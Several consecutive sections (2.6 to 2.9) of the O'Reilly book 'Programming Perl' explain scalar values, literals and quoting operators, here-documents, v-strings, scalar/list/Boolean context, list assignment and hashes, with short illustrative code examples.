Previous | Home | Next
2.4. Variables | Book Index | 2.6. Scalar Values
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Scalar Values (Programming Perl)

 Book Home Programming PerlSearch this book

2.6. Scalar Values

Whether it's named directly or indirectly, and whether it's in a variable, or an array element, or is just a temporary value, a scalar always contains a single value. This value may be a number, a string, or a reference to another piece of data. Or, there might even be no value at all, in which case the scalar is said to be undefined. Although we might speak of a scalar as "containing" a number or a string, scalars are typeless: you are not required to declare your scalars to be of type integer or floating-point or string or whatever.[9]

[9] Future versions of Perl will allow you to insert int, num, and str type declarations, not to enforce strong typing, but only to give the optimizer hints about things that it might not figure out for itself. Generally, you'd only consider doing this in tight code that must run very fast, so we're not going to tell you how to do it yet. Optional types are also used by the pseudohash mechanism, in which case they can function as types do in a more strongly typed language. See Chapter 8, "References" for more.

Perl stores strings as sequences of characters, with no arbitrary constraints on length or content. In human terms, you don't have to decide in advance how long your strings are going to get, and you can include any characters including null bytes within your string. Perl stores numbers as signed integers if possible, or as double-precision floating-point values in the machine's native format otherwise. Floating-point values are not infinitely precise. This is important to remember because comparisons like (10/3 == 1/3*10) tend to fail mysteriously.

Perl converts between the various subtypes as needed, so you can treat a number as a string or a string as a number, and Perl will do the Right Thing. To convert from string to number, Perl internally uses something like the C library's atof(3) function. To convert from number to string, it does the equivalent of an sprintf(3) with a format of "%.14g" on most machines. Improper conversions of a nonnumeric string like foo to a number count as numeric 0; these trigger warnings if you have them enabled, but are silent otherwise. See Chapter 5, "Pattern Matching", for examples of detecting what sort of data a string holds.

Although strings and numbers are interchangeable for nearly all intents, references are a bit different. They're strongly typed, uncastable pointers with built-in reference-counting and destructor invocation. That is, you can use them to create complex data types, including user-defined objects. But they're still scalars, for all that, because no matter how complicated a data structure gets, you often want to treat it as a single value.

By uncastable, we mean that you can't, for instance, convert a reference to an array into a reference to a hash. References are not castable to other pointer types. However, if you use a reference as a number or a string, you will get a numeric or string value, which is guaranteed to retain the uniqueness of the reference even though the "referenceness" of the value is lost when the value is copied from the real reference. You can compare such values or extract their type. But you can't do much else with the values, since there's no way to convert numbers or strings back into references. Usually, this is not a problem, because Perl doesn't force you to do pointer arithmetic--or even allow it. See Chapter 8, "References" for more on references.

2.6.1. Numeric Literals

Numeric literals are specified in any of several customary[10] floating-point or integer formats:

$x = 12345;                # integer
$x = 12345.67;             # floating point
$x = 6.02e23;              # scientific notation
$x = 4_294_967_296;        # underline for legibility
$x = 0377;                 # octal
$x = 0xffff;               # hexadecimal
$x = 0b1100_0000;          # binary

[10]Customary in Unix culture, that is. If you're from a different culture, welcome to ours!

Because Perl uses the comma as a list separator, you cannot use it to separate the thousands in a large number. Perl does allow you to use an underscore character instead. The underscore only works within literal numbers specified in your program, not for strings functioning as numbers or data read from somewhere else. Similarly, the leading 0x for hexadecimal, 0b for binary, and 0 for octal work only for literals. The automatic conversion of a string to a number does not recognize these prefixes--you must do an explicit conversion[11] with the oct function--which works for hex and binary numbers, too, as it happens, provided you supply the 0x or 0b on the front.

[11]Sometimes people think Perl should convert all incoming data for them. But there are far too many decimal numbers with leading zeros in the world to make Perl do this automatically. For example, the Zip Code for the O'Reilly & Associates office in Cambridge, MA, is 02140. The postmaster would get confused if your mailing label program turned 02140 into 1120 decimal.

2.6.2. String Literals

String literals are usually surrounded by either single or double quotes. They work much like Unix shell quotes: double-quoted string literals are subject to backslash and variable interpolation, but single-quoted strings are not (except for \' and \\, so that you can embed single quotes and backslashes into single-quoted strings). If you want to embed any other backslash sequences such as \n (newline), you must use the double-quoted form. (Backslash sequences are also known as escape sequences, because you "escape" the normal interpretation of characters temporarily.)

A single-quoted string must be separated from a preceding word by a space because a single quote is a valid--though archaic--character in an identifier. Its use has been replaced by the more visually distinct :: sequence. That means that $main'var and $main::var are the same thing, but the second is generally considered easier to read for people and programs.

Double-quoted strings are subject to various forms of character interpolation, many of which will be familiar to programmers of other languages. These are listed in Table 2-1.

Table 2.1. Backslashed Character Escapes

Code | Meaning
\n | Newline (usually LF)
\r | Carriage return (usually CR)
\t | Horizontal tab
\f | Form feed
\b | Backspace
\a | Alert (bell)
\e | ESC character
\033 | ESC in octal
\x7f | DEL in hexadecimal
\cC | Control-C
\x{263a} | Unicode (smiley)
\N{NAME} | Named character

The \N{NAME} notation is usable only in conjunction with the use charnames pragma described in Chapter 31, "Pragmatic Modules". This allows you to specify character names symbolically, as in \N{GREEK SMALL LETTER SIGMA}, \N{greek:Sigma}, or \N{sigma}--depending on how you call the pragma. See also Chapter 15, "Unicode".

There are also escape sequences to modify the case or "meta-ness" of subsequent characters. See Table 2-2.

Table 2.2. Translation Escapes

Code | Meaning
\u | Force next character to uppercase ("titlecase" in Unicode).
\l | Force next character to lowercase.
\U | Force all following characters to uppercase.
\L | Force all following characters to lowercase.
\Q | Backslash all following nonalphanumeric characters.
\E | End \U, \L, or \Q.

You may also embed newlines directly in your strings; that is, they can begin and end on different lines. This is often useful, but it also means that if you forget a trailing quote, the error will not be reported until Perl finds another line containing the quote character, which may be much further on in the script. Fortunately, this usually causes an immediate syntax error on the same line, and Perl is then smart enough to warn you that you might have a runaway string where it thought the string started.

Besides the backslash escapes listed above, double-quoted strings are subject to variable interpolation of scalar and list values. This means that you can insert the values of certain variables directly into a string literal. It's really just a handy form of string concatenation.[12] Variable interpolation may be done for scalar variables, entire arrays (but not hashes), single elements from an array or hash, or slices (multiple subscripts) of an array or hash. Nothing else interpolates. In other words, you may only interpolate expressions that begin with $ or @, because those are the two characters (along with backslash) that the string parser looks for. Inside strings, a literal @ that is not part of an array or slice identifier but is followed by an alphanumeric character must be escaped with a backslash (\@), or else a compilation error will result. Although a complete hash specified with a % may not be interpolated into the string, single hash values or hash slices are okay, because they begin with $ and @ respectively.

[12]With warnings enabled, Perl may report undefined values interpolated into strings as using the concatenation or join operations, even though you don't actually use those operators there. The compiler created them for you anyway.

The following code segment prints out "The price is $100.":

$Price = '$100';                    # not interpolated
print "The price is $Price.\n";     # interpolated

As in some shells, you can put braces around the identifier to distinguish it from following alphanumerics: "How ${verb}able!". An identifier within such braces is forced to be a string, as is any single identifier within a hash subscript. For example:

$days{'Feb'}
can be written as:
$days{Feb}
and the quotes will be assumed. Anything more complicated in the subscript is interpreted as an expression, and then you'd have to put in the quotes:
$days{'February 29th'}   # Ok.
$days{"February 29th"}   # Also ok. "" doesn't have to interpolate.
$days{ February 29th }   # WRONG, produces parse error.
In particular, you should always use quotes in slices such as:
@days{'Jan','Feb'}       # Ok.
@days{"Jan","Feb"}       # Also ok.
@days{ Jan,  Feb }       # Kinda wrong (breaks under use strict)

Apart from the subscripts of interpolated array and hash variables, there are no multiple levels of interpolation. Contrary to the expectations of shell programmers, backticks do not interpolate within double quotes, nor do single quotes impede evaluation of variables when used within double quotes. Interpolation is extremely powerful but strictly controlled in Perl. It happens only inside double quotes, and in certain other "double-quotish" operations that we'll describe in the next section:

print "\n";              # Ok, print a newline.
print  \n ;              # WRONG, no interpolative context.

2.6.3. Pick Your Own Quotes

Although we usually think of quotes as literal values, in Perl they function more like operators, providing various kinds of interpolating and pattern-matching capabilities. Perl provides the customary quote characters for these behaviors, but also provides a more general way for you to choose your quote character for any of them. In Table 2-3, any nonalphanumeric, nonwhitespace delimiter may be used in place of /. (The newline and space characters are no longer allowed as delimiters, although ancient versions of Perl once allowed this.)

Table 2.3. Quote Constructs

Customary | Generic | Meaning | Interpolates
'' | q// | Literal string | No
"" | qq// | Literal string | Yes
`` | qx// | Command execution | Yes
() | qw// | Word list | No
// | m// | Pattern match | Yes
s/// | s/// | Pattern substitution | Yes
y/// | tr/// | Character translation | No
"" | qr// | Regular expression | Yes

Some of these are simply forms of "syntactic sugar" to let you avoid putting too many backslashes into quoted strings, particularly into pattern matches where your regular slashes and backslashes tend to get all tangled.

If you choose single quotes for delimiters, no variable interpolation is done even on those forms that ordinarily interpolate. If the opening delimiter is an opening parenthesis, bracket, brace, or angle bracket, the closing delimiter will be the corresponding closing character. (Embedded occurrences of the delimiters must match in pairs.) Examples:

$single = q!I said, "You said, 'She said it.'"!;

$double = qq(Can't we get some "good" $variable?);

$chunk_of_code = q {
    if ($condition) {
        print "Gotcha!";
    }
};
The last example demonstrates that you can use whitespace between the quote specifier and its initial bracketing character. For two-element constructs like s/// and tr///, if the first pair of quotes is a bracketing pair, the second part gets its own starting quote character. In fact, the second pair needn't be the same as the first pair. So you can write things like s<foo>(bar) or tr(a-f)[A-F]. Because whitespace is also allowed between the two inner quote characters, you could even write that last one as:
tr (a-f)
   [A-F];
Whitespace is not allowed, however, when # is being used as the quoting character. q#foo# is parsed as the string 'foo', while q #foo# is parsed as the quote operator q followed by a comment. Its delimiter will be taken from the next line. Comments can also be placed in the middle of two-element constructs, which allows you to write:
s {foo}   # Replace foo
  {bar};  #    with bar.

tr [a-f]  # Transliterate lowercase hex
   [A-F]; #            to uppercase hex

2.6.4. Or Leave the Quotes Out Entirely

A name that has no other interpretation in the grammar will be treated as if it were a quoted string. These are known as barewords.[13] As with filehandles and labels, a bareword that consists entirely of lowercase letters risks conflict with future reserved words. If you have warnings enabled, Perl will warn you about barewords. For example:

@days = (Mon,Tue,Wed,Thu,Fri);
print STDOUT hello, ' ', world, "\n";

[13] Variable names, filehandles, labels, and the like are not considered barewords because they have a meaning forced by a preceding token or a following token (or both). Predeclared names such as subroutines aren't barewords either. It's only a bareword when the parser has no clue.

sets the array @days to the short form of the weekdays and prints "hello world" followed by a newline on STDOUT. If you leave the filehandle out, Perl tries to interpret hello as a filehandle, resulting in a syntax error. Because this is so error-prone, some people may wish to avoid barewords entirely. The quoting operators listed earlier provide many convenient forms, including the qw// "quote words" construct which nicely quotes a list of space-separated words:

@days = qw(Mon Tue Wed Thu Fri);
print STDOUT "hello world\n";
You can go as far as to outlaw barewords entirely. If you say:
use strict 'subs';
then any bareword will produce a compile-time error. The restriction lasts through the end of the enclosing scope. An inner scope may countermand this by saying:
no strict 'subs';
Note that the bare identifiers in constructs like:
"${verb}able"
$days{Feb}
are not considered barewords since they're allowed by explicit rule rather than by having "no other interpretation in the grammar".

An unquoted name with a trailing double colon, such as main:: or Dog::, is always treated as the package name. Perl turns the would-be bareword Camel:: into the string "Camel" at compile time, so this usage is not subject to rebuke by use strict.

2.6.5. Interpolating Array Values

Array variables are interpolated into double-quoted strings by joining all elements of the array with the separator specified in the $" variable[14] (which contains a space by default). The following are equivalent:

$temp = join( $", @ARGV );
print $temp;

print "@ARGV";
Within search patterns, which also undergo double-quotish interpolation, there is an unfortunate ambiguity: is /$foo[bar]/ to be interpreted as /${foo}[bar]/ (where [bar] is a character class for the regular expression) or as /${foo[bar]}/ (where [bar] is the subscript to array @foo)? If @foo doesn't otherwise exist, it's obviously a character class. If @foo exists, Perl takes a good guess about [bar], and is almost always right.[15] If it does guess wrong, or if you're just plain paranoid, you can force the correct interpretation with braces as shown earlier. Even if you're merely prudent, it's probably not a bad idea.

[14]$LIST_SEPARATOR if you use the English module bundled with Perl.

[15]The guesser is too boring to describe in full, but basically takes a weighted average of all the things that look like character classes (a-z, \w, initial ^) versus things that look like expressions (variables or reserved words).

2.6.6. "Here" Documents

A line-oriented form of quoting is based on the Unix shell's here-document syntax. It's line-oriented in the sense that the delimiters are lines rather than characters. The starting delimiter is the current line, and the terminating delimiter is a line consisting of the string you specify. Following a <<, you specify the string to terminate the quoted material, and all lines following the current line down to but not including the terminating line are part of the string. The terminating string may be either an identifier (a word) or some quoted text. If quoted, the type of quote determines the treatment of the text, just as it does in regular quoting. An unquoted identifier works as though it were in double quotes. A backslashed identifier works as though it were in single quotes (for compatibility with shell syntax). There must be no space between the << and an unquoted identifier, although whitespace is permitted if you specify a quoted string instead of the bare identifier. (If you insert a space, it will be treated as a null identifier, which is valid but deprecated, and matches the first blank line--see the first Hurrah! example below.) The terminating string must appear by itself, unquoted and with no extra whitespace on either side, on the terminating line.

print <<EOF;    # same as earlier example
The price is $Price.
EOF

print <<"EOF";  # same as above, with explicit quotes
The price is $Price.
EOF

print <<'EOF';    # single-quoted quote
All things (e.g. a camel's journey through
A needle's eye) are possible, it's true.
But picture how the camel feels, squeezed out
In one long bloody thread, from tail to snout.
                                -- C.S. Lewis
EOF

print << x 10;    # print next line 10 times
The camels are coming!  Hurrah!  Hurrah!

print <<"" x 10;  # the preferred way to write that
The camels are coming!  Hurrah!  Hurrah!

print <<`EOC`;    # execute commands
echo hi there
echo lo there
EOC

print <<"dromedary", <<"camelid";   # you can stack them
I said bactrian.
dromedary
She said llama.
camelid

funkshun(<<"THIS", 23, <<'THAT');   # doesn't matter if they're in parens
Here's a line
or two.
THIS
And here's another.
THAT
Just don't forget that you have to put a semicolon on the end to finish the statement, because Perl doesn't know you're not going to try to do this:
print <<'odd'
2345
odd
    + 10000;   # prints 12345
If you want your here docs to be indented with the rest of the code, you'll need to remove leading whitespace from each line manually:
($quote = <<'QUOTE') =~ s/^\s+//gm;
    The Road goes ever on and on,
    down from the door where it began.
QUOTE
You could even populate an array with the lines of a here document as follows:
@sauces = <<End_Lines =~ m/(\S.*\S)/g;
   normal tomato
   spicy tomato
   green chile
   pesto
   white wine
End_Lines

2.6.7. V-String Literals

A literal that begins with a v and is followed by one or more dot-separated integers is treated as a string literal composed of characters with the specified ordinal values:

$crlf = v13.10;           # ASCII carriage return, line feed
These are called v-strings, short for "vector strings" or "version strings" or anything else you can think of that starts with "v" and deals with lists of integers. They provide an alternate and more legible way to construct strings when you want to specify the numeric values of each character. Thus, v1.20.300.4000 is a more winsome way to produce the same string value as any of:
"\x{1}\x{14}\x{12c}\x{fa0}"
pack("U*", 1, 20, 300, 4000)
chr(1) . chr(20) . chr(300) . chr(4000)
If such a literal has two or more dots (three or more integers), the leading v may be omitted.
print v9786;              # prints UTF-8 encoded SMILEY, "\x{263a}"
print v102.111.111;       # prints "foo"
print 102.111.111;        # same thing

use 5.6.0;                # require a particular Perl version (or later)

$ipaddr = 204.148.40.9;   # the IPv4 address of oreilly.com
V-strings are useful for representing IP address and version numbers. In particular, since characters can have an ordinal value larger than 255 these days, v-strings provide a way to represent version numbers of any size that can be correctly compared with a simple string comparison.

Version numbers and IP addresses stored in v-strings are not human readable, since the individual integers are stored as arbitrary characters. To produce something legible, use the v flag in a printf mask, like "%vd", as described under sprintf in Chapter 29, "Functions". For more on Unicode strings, see Chapter 15, "Unicode" and the use bytes pragma in Chapter 31, "Pragmatic Modules"; for comparing version strings using string comparison operators, see $^V in Chapter 28, "Special Names"; and for representing IPv4 addresses, see gethostbyaddr in Chapter 29, "Functions".

2.6.8. Other Literal Tokens

You should consider any identifier that both begins and ends with a double underscore to be reserved for special syntactic use by Perl. Two such special literals are __LINE__ and __FILE__, which represent the current line number and filename at that point in your program. They may only be used as separate tokens; they will not be interpolated into strings. Likewise, __PACKAGE__ is the name of the package the current code is being compiled into. If there is no current package (due to an empty package; directive), __PACKAGE__ is the undefined value. The token __END__ (or alternatively, a Control-D or Control-Z character) may be used to indicate the logical end of the script before the real end-of-file. Any following text is ignored, but may be read via the DATA filehandle.

The __DATA__ token functions similarly to the __END__ token, but opens the DATA filehandle within the current package's namespace, so that files you require can each have their own DATA filehandles open simultaneously. For more information, see DATA in Chapter 28, "Special Names".

Previous | Home | Next
2.5. Names | Book Index | 2.7. Context
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Context (Programming Perl)

 Book Home Programming PerlSearch this book

2.7. Context

Until now we've seen several terms that can produce scalar values. Before we can discuss terms further, though, we must come to terms with the notion of context.

2.7.1. Scalar and List Context

Every operation[16] that you invoke in a Perl script is evaluated in a specific context, and how that operation behaves may depend on the requirements of that context. There are two major contexts: scalar and list. For example, assignment to a scalar variable, or to a scalar element of an array or hash, evaluates the righthand side in a scalar context:

$x         = funkshun();  # scalar context
$x[1]      = funkshun();  # scalar context
$x{"ray"}  = funkshun();  # scalar context
But assignment to an array or a hash, or to a slice of either, evaluates the righthand side in a list context, even if the slice picks out only one element:
@x         = funkshun();  # list context
@x[1]      = funkshun();  # list context
@x{"ray"}  = funkshun();  # list context
%x         = funkshun();  # list context
Assignment to a list of scalars also provides a list context to the righthand side, even if there's only one element in the list:
($x,$y,$z) = funkshun();  # list context
($x)       = funkshun();  # list context
These rules do not change at all when you declare a variable by modifying the term with my or our, so we have:
my $x      = funkshun();  # scalar context
my @x      = funkshun();  # list context
my %x      = funkshun();  # list context
my ($x)    = funkshun();  # list context

[16] Here we use the term "operation" loosely to mean either an operator or a term. The two concepts fuzz into each other when you start talking about functions that parse like terms but look like unary operators.

You will be miserable until you learn the difference between scalar and list context, because certain operators (such as our mythical funkshun() function above) know which context they are in, and return a list in contexts wanting a list but a scalar value in contexts wanting a scalar. (If this is true of an operation, it will be mentioned in the documentation for that operation.) In computer lingo, the operations are overloaded on their return type. But it's a very simple kind of overloading, based only on the distinction between singular and plural values, and nothing else.

If some operators respond to context, then obviously something around them has to supply the context. We've shown that assignment can supply a context to its right operand, but that's not terribly surprising, since all operators supply some kind of context to each of their operands. What you really want to know is which operators supply which context to their operands. As it happens, you can easily tell which ones supply a list context because they all have LIST in their syntactic descriptions. Everything else supplies a scalar context. Generally, it's quite intuitive.[17] If necessary, you can force a scalar context onto an argument in the middle of a LIST by using the scalar pseudofunction. Perl provides no way to force a list context in a scalar context, because anywhere you would want a list context it's already provided by the LIST of some controlling function.

[17] Note, however, that the list context of a LIST can propagate down through subroutine calls, so it's not always obvious from inspection whether a given statement is going to be evaluated in a scalar or list context. The program can find out its context within a subroutine by using the wantarray function.

Scalar context can be further classified into string context, numeric context, and don't-care context. Unlike the scalar versus list distinction we just made, operations never know or care which scalar context they're in. They simply return whatever kind of scalar value they want to and let Perl translate numbers to strings in string context, and strings to numbers in numeric context. Some scalar contexts don't care whether a string or a number or a reference is returned, so no conversion will happen. This happens, for example, when you are assigning the value to another variable. The new variable just takes on the same subtype as the old value.

2.7.2. Boolean Context

Another special don't-care scalar context is called Boolean context. Boolean context is simply any place where an expression is being evaluated to see whether it's true or false. When we say "true" and "false" in this book, we mean the technical definition that Perl uses: a scalar value is true if it is not the null string "" or the number 0 (or its string equivalent, "0"). A reference is always true because it represents an address which is never 0. An undefined value (often called undef) is always false because it looks like either "" or 0, depending on whether you treat it as a string or a number. (List values have no Boolean value because list values are never produced in a scalar context!)

Because Boolean context is a don't-care context, it never causes any scalar conversions to happen, though of course the scalar context itself is imposed on any operand that cares. And for many operands that care, the scalar they produce in scalar context represents a reasonable Boolean value. That is, many operators that would produce a list in list context can be used for a true/false test in Boolean context. For instance, in list context such as that provided by the unlink operator, an array name produces the list of its values:

unlink @files;      # Delete all files, ignoring errors.
But if you use the array in a conditional (that is, in a Boolean context), the array knows it's in a scalar context and returns the number of elements in the array, which conveniently is true as long as there are any elements left. So supposing you wanted to get warnings on each file that wasn't deleted properly, you might write a loop like this:
while (@files) {
    my $file = shift @files;
    unlink $file or warn "Can't delete $file: $!\n";
}
Here @files is evaluated in the Boolean context supplied by the while statement, so Perl evaluates the array itself to see whether it's a "true array" or a "false array". It's a true array as long as there are filenames in it, but it becomes a false array as soon as the last filename is shifted out. Note that what we earlier said still holds. Despite the fact that an array contains (and can produce) a list value, we are not evaluating a list value in scalar context. We are telling the array it's a scalar and asking what it thinks of itself.

Do not be tempted to use defined @files for this. It doesn't work because the defined function is asking whether a scalar is equal to undef, but an array is not a scalar. The simple Boolean test suffices.

2.7.3. Void Context

Another peculiar kind of scalar context is the void context. This context not only doesn't care what the return value's type is, it doesn't even want a return value. From the standpoint of how functions work, it's no different from an ordinary scalar context. But if you have warnings enabled, the Perl compiler will warn you if you use an expression with no side effects in a place that doesn't want a value, such as in a statement that doesn't return a value. For example, if you use a string as a statement:

"Camel Lot";
you may get a warning like this:
Useless use of a constant in void context in myprog line 123;

2.7.4. Interpolative Context

We mentioned earlier that double-quoted literal strings do backslash interpretation and variable interpolation, but that the interpolative context (often called "double-quote context" because nobody can pronounce "interpolative") applies to more than just double-quoted strings. Some other double-quotish constructs are the generalized backtick operator qx//, the pattern match operator m//, the substitution operator s///, and the quote regex operator, qr//. The substitution operator does interpolation on its left side before doing a pattern match, and then does interpolation on its right side each time the left side matches.

The interpolative context only happens inside quotes, or things that work like quotes, so perhaps it's not fair to call it a context in the same sense as scalar and list contexts. (Then again, maybe it is.)

Previous | Home | Next
2.6. Scalar Values | Book Index | 2.8. List Values and Arrays
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


List Values and Arrays (Programming Perl)

 Book Home Programming PerlSearch this book

2.8. List Values and Arrays

Now that we've talked about context, we can talk about list literals and how they behave in context. You've already seen some list literals. List literals are denoted by separating individual values by commas (and enclosing the list in parentheses where precedence requires it). Because it (almost) never hurts to use extra parentheses, the syntax diagram of a list value is usually indicated like this:

(LIST)
Earlier we said that LIST in a syntax description indicates something that supplies list context to its arguments, but a bare list literal itself is the one partial exception to that rule, in that it supplies a list context to its arguments only when the list as a whole is in list context. The value of a list literal in list context is just the values of the arguments in the order specified. As a fancy sort of term in an expression, a list literal merely pushes a series of temporary values onto Perl's stack, to be collected off the stack later by whatever operator wants the list.

In a scalar context, however, the list literal doesn't really behave like a LIST, in that it doesn't supply list context to its values. Instead, it merely evaluates each of its arguments in scalar context, and returns the value of the final element. That's because it's really just the C comma operator in disguise, which is a binary operator that always throws away the value on the left and returns the value on the right. In terms of what we discussed earlier, the left side of the comma operator really provides a void context. Because the comma operator is left associative, if you have a series of comma-separated values, you always end up with the last value because the final comma throws away whatever any previous commas produced. So, to contrast the two, the list assignment:

@stuff = ("one", "two", "three");
assigns the entire list value to array @stuff, but the scalar assignment:
$stuff = ("one", "two", "three");
assigns only the value "three" to variable $stuff. Like the @files array we mentioned earlier the comma operator knows whether it is in a scalar or list context, and chooses its behavior accordingly.

It bears repeating that a list value is different from an array. A real array variable also knows its context, and in a list context, it would return its internal list of values just like a list literal. But in a scalar context it returns only the length of the array. The following assigns to $stuff the value 3:

@stuff = ("one", "two", "three");
$stuff = @stuff;
If you expected it to get the value "three", you were probably making a false generalization by assuming that Perl uses the comma operator rule to throw away all but one of the temporary values that @stuff put on the stack. But that's not how it works. The @stuff array never put all its values on the stack. It never put any of its values on the stack, in fact. It only put one value, the length of the array, because it knew it was in scalar context. No term or operator in scalar context will ever put a list on the stack. Instead, it will put one scalar on the stack, whatever it feels like, which is unlikely to be the last value of the list it would have returned in list context, because the last value is not likely to be the most useful value in scalar context. Got that? (If not, you'd better reread this paragraph, because it's important.)

Now back to true LISTs, the ones that do list context. Until now we've pretended that list literals were just lists of literals. But just as a string literal might interpolate other substrings, a list literal can interpolate other sublists. Any expression that returns values may be used within a list. The values so used may be either scalar values or list values, but they all become part of the new list value because LISTs do automatic interpolation of sublists. That is, when a LIST is evaluated, each element of the list is evaluated in a list context, and the resulting list value is interpolated into LIST just as if each individual element were a member of LIST. Thus arrays lose their identity in a LIST.[18] The list:

(@stuff,@nonsense,funkshun())

[18]Some people seem to think this is a problem, but it's not. You can always interpolate a reference to an array if you do not want it to lose its identity. See Chapter 8, "References".

contains the elements of @stuff, followed by the elements of @nonsense, followed by whatever values the subroutine &funkshun decides to return when called in list context. Note that any or all of these might have interpolated a null (empty) list, in which case it's as if no array or function call had been interpolated at that point. The null list itself is represented by the literal (). As with a null array, which interpolates as a null list and is therefore effectively ignored, interpolating the null list into another list has no effect. Thus, ((),(),()) is equivalent to ().

A corollary to this rule is that you may place an optional comma at the end of any list value. This makes it easy to come back later and add more elements after the last one:

@releases = (
    "alpha",
    "beta",
    "gamma",
);

Or you can do away with the commas entirely: another way to specify a literal list is with the qw (quote words) syntax we mentioned earlier. This construct is equivalent to splitting a single-quoted string on whitespace. For example:

@froots = qw(
    apple       banana      carambola
    coconut     guava       kumquat
    mandarin    nectarine   peach
    pear        persimmon   plum
);
(Note that those parentheses are behaving as quote characters, not ordinary parentheses. We could just as easily have picked angle brackets or braces or slashes. But parens are pretty.)

A list value may also be subscripted like a normal array. You must put the list in parentheses (real ones) to avoid ambiguity. Though it's often used to fetch a single value out of a list, it's really a slice of the list, so the syntax is:

(LIST)[LIST]
Examples:
# Stat returns list value.
$modification_time = (stat($file))[9];

# SYNTAX ERROR HERE.
$modification_time = stat($file)[9];  # OOPS, FORGOT PARENS

# Find a hex digit.
$hexdigit = ('a','b','c','d','e','f')[$digit-10];

# A "reverse comma operator".
return (pop(@foo),pop(@foo))[0];

# Get multiple values as a slice.
($day, $month, $year) = (localtime)[3,4,5];

2.8.1. List Assignment

A list may be assigned to only if each element of the list is itself legal to assign to:

($a, $b, $c) = (1, 2, 3);

($map{red}, $map{green}, $map{blue}) = (0xff0000, 0x00ff00, 0x0000ff);
You may assign to undef in a list. This is useful for throwing away some of the return values of a function:
($dev, $ino, undef, undef, $uid, $gid) = stat($file);
The final list element may be an array or a hash:
($a, $b, @rest) = split;
my ($a, $b, %rest) = @arg_list;
You can actually put an array or hash anywhere in the list you assign to, but the first array or hash in the list will soak up all the remaining values, and anything after it will be set to the undefined value. This may be useful in a local or my, where you probably want the arrays initialized to be empty anyway.

You can even assign to the empty list:

() = funkshun();
That ends up calling your function in list context, but discarding the return values. If you had just called the function without an assignment, it would have instead been called in void context, which is a kind of scalar context, and might have caused the function to behave completely differently.

List assignment in scalar context returns the number of elements produced by the expression on the right side of the assignment:

$x = ( ($a, $b) = (7,7,7) );    # set $x to 3, not 2
$x = ( ($a, $b) = funk() );     # set $x to funk()'s return count
$x = ( () = funk() );           # also set $x to funk()'s return count
This is handy when you want to do a list assignment in a Boolean context, because most list functions return a null list when finished, which when assigned produces a 0, which is interpreted as false. Here's how you might use it in a while statement:
while (($login, $password) = getpwent) {
    if (crypt($login, $password) eq $password) {
        print "$login has an insecure password!\n";
    }
}

2.8.2. Array Length

You may find the number of elements in the array @days by evaluating @days in a scalar context, such as:

@days + 0;      # implicitly force @days into a scalar context
scalar(@days)   # explicitly force @days into a scalar context
Note that this only works for arrays. It does not work for list values in general. As we mentioned earlier, a comma-separated list evaluated in scalar context returns the last value, like the C comma operator. But because you almost never actually need to know the length of a list in Perl, this is not a problem.

Closely related to the scalar evaluation of @days is $#days. This will return the subscript of the last element of the array, or one less than the length, since there is (ordinarily) a 0th element. Assigning to $#days changes the length of the array. Shortening an array by this method destroys intervening values. You can gain some measure of efficiency by pre-extending an array that is going to get big. (You can also extend an array by assigning to an element beyond the end of the array.) You can truncate an array down to nothing by assigning the null list () to it. The following two statements are equivalent:

@whatever = ();
$#whatever = -1;
And the following is always true:
scalar(@whatever) == $#whatever + 1;
Truncating an array does not recover its memory. You have to undef(@whatever) to free its memory back to your process's memory pool. You probably can't free it all the way back to your system's memory pool, because few operating systems support this.

Previous | Home | Next
2.7. Context | Book Index | 2.9. Hashes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Hashes (Programming Perl)

 Book Home Programming PerlSearch this book

2.9. Hashes

As we said earlier, a hash is just a funny kind of array in which you look values up using key strings instead of numbers. A hash defines associations between keys and values, so hashes are often called associative arrays by people who are not lazy typists.

There really isn't any such thing as a hash literal in Perl, but if you assign an ordinary list to a hash, each pair of values in the list will be taken to indicate one key/value association:

%map = ('red',0xff0000,'green',0x00ff00,'blue',0x0000ff);
This has the same effect as:
%map = ();            # clear the hash first
$map{red}   = 0xff0000;
$map{green} = 0x00ff00;
$map{blue}  = 0x0000ff;

It is often more readable to use the => operator between key/value pairs. The => operator is just a synonym for a comma, but it's more visually distinctive and also quotes any bare identifiers to the left of it (just like the identifiers in braces above), which makes it convenient for several sorts of operation, including initializing hash variables:

%map = (
    red   => 0xff0000,
    green => 0x00ff00,
    blue  => 0x0000ff,
);
or initializing anonymous hash references to be used as records:
$rec = {
    NAME  => 'John Smith',
    RANK  => 'Captain',
    SERNO => '951413',
};

or using named parameters to invoke complicated functions:

$field = radio_group(
             NAME      => 'animals',
             VALUES    => ['camel', 'llama', 'ram', 'wolf'],
             DEFAULT   => 'camel',
             LINEBREAK => 'true',
             LABELS    => \%animal_names,
         );
But we're getting ahead of ourselves again. Back to hashes.

You can use a hash variable (%hash) in a list context, in which case it interpolates all its key/value pairs into the list. But just because the hash was initialized in a particular order doesn't mean that the values come back out in that order. Hashes are implemented internally using hash tables for speedy lookup, which means that the order in which entries are stored is dependent on the internal hash function used to calculate positions in the hash table, and not on anything interesting. So the entries come back in a seemingly random order. (The two elements of each key/value pair come out in the right order, of course.) For examples of how to arrange for an output ordering, see the keys function in Chapter 29, "Functions".

When you evaluate a hash variable in a scalar context, it returns a true value only if the hash contains any key/value pairs whatsoever. If there are any key/value pairs at all, the value returned is a string consisting of the number of used buckets and the number of allocated buckets, separated by a slash. This is pretty much only useful to find out whether Perl's (compiled in) hashing algorithm is performing poorly on your data set. For example, you stick 10,000 things in a hash, but evaluating %HASH in scalar context reveals "1/8", which means only one out of eight buckets has been touched. Presumably that one bucket contains all 10,000 of your items. This isn't supposed to happen.

To find the number of keys in a hash, use the keys function in a scalar context: scalar(keys(%HASH)).

You can emulate a multidimensional hash by specifying more than one key within the braces, separated by commas. The listed keys are concatenated together, separated by the contents of $; ($SUBSCRIPT_SEPARATOR), which has a default value of chr(28). The resulting string is used as the actual key to the hash. These two lines do the same thing:

$people{ $state, $county } = $census_results;
$people{ join $; => $state, $county } = $census_results;

This feature was originally implemented to support a2p, the awk-to-Perl translator. These days, you'd usually just use a real (well, realer) multidimensional array as described in Chapter 9, "Data Structures". One place the old style is still useful is for hashes tied to DBM files (see DB_File in Chapter 32, "Standard Modules"), which don't support multidimensional keys.

Don't confuse multidimensional hash emulations with slices. The one represents a scalar value, and the other represents a list value:

$hash{ $x, $y, $z }      # a single value
@hash{ $x, $y, $z }      # a slice of three values

Previous | Home | Next
